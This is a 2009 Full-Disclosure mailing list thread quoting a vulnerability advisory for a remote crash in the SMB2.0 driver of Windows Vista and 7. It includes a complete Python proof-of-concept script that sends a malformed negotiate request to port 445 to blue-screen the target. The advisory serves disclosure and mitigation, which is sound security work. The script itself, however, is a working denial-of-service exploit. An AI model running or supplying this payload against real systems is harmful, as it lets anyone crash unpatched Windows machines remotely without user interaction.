Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOLREQUEST Remote B.S.O.D.
- From: "mutiny" <mutiny@xxxxxxxxxxxxxxxxxxx>
- Date: Thu, 10 Sep 2009 01:59:38 -0400
Nearly a year before release, of the new version (of the same thing).
*sigh*
----- Original Message -----
From: James Matthews
To: full-disclosure@xxxxxxxxxxxxxxxxx
Sent: Thursday, September 10, 2009 12:56 AM
Subject: Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOLREQUEST Remote B.S.O.D.
So Msoft! why can't they just stop reintroducing bugs?
On Wed, Sep 9, 2009 at 11:04 AM, <randomguy@xxxxxxxxxxxx> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
How come all I hear about is n3td3v, and I see noone crying out
lout about this :
http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&ta
sk=show&action=view&id=64&Itemid=15
is fd all 'bout trolls nao?
- --
=============================================
- - Release date: September 7th, 2009
- - Discovered by: Laurent Gaffié
- - Severity: Medium/High
=============================================
I. VULNERABILITY
- -------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
II. BACKGROUND
- -------------------------
Windows vista and newer Windows comes with a new SMB version named
SMB2.
See:
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
erver_Message_Block_2.0
for more details.
III. DESCRIPTION
- -------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
to a SMB server, and it's used
to identify the SMB dialect that will be used for futher
communication.
IV. PROOF OF CONCEPT
- -------------------------
Smb-Bsod.py:
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB
header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be
"\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
V. BUSINESS IMPACT
- -------------------------
An attacker can remotly crash without no user interaction, any
Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.
VI. SYSTEMS AFFECTED
- -------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly
Win Server 2008
as it use the same SMB2.0 driver (not tested).
VII. SOLUTION
- -------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.
VIII. REFERENCES
- -------------------------
http://microsoft.com
IX. CREDITS
- -------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/
X. LEGAL NOTICES
- -------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0
wpwEAQMCAAYFAkqnw/YACgkQRVBSp0SbIgeyMQQAoyMwFvi4CWq+2XUcoyIQUp/MxwBr
mUbXX+BJYl6K9ydQqZDxnAwOi24VIBE/xRQcUFMhVH/Uk4zH9KAGzW7/gu3V8Yq0mHPL
pCZ9+Lwml3mNeJOg6oZEyJUhmJTF2WcfXLnmjHbys0oShACWCXBAyqyMVQFdNSja9aeC
6kWcu5Q=
=MjSD
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--
http://www.jewelerslounge.com
------------------------------------------------------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- References:
- Prev by Date: [Full-disclosure] [SECURITY] [DSA 1883-1] New nagios2 packages fix several cross-site scriptings
- Next by Date: [Full-disclosure] [ MDVSA-2009:226 ] freeradius
- Previous by thread: Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
- Next by thread: Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
- Index(es):
Relevant Pages
|
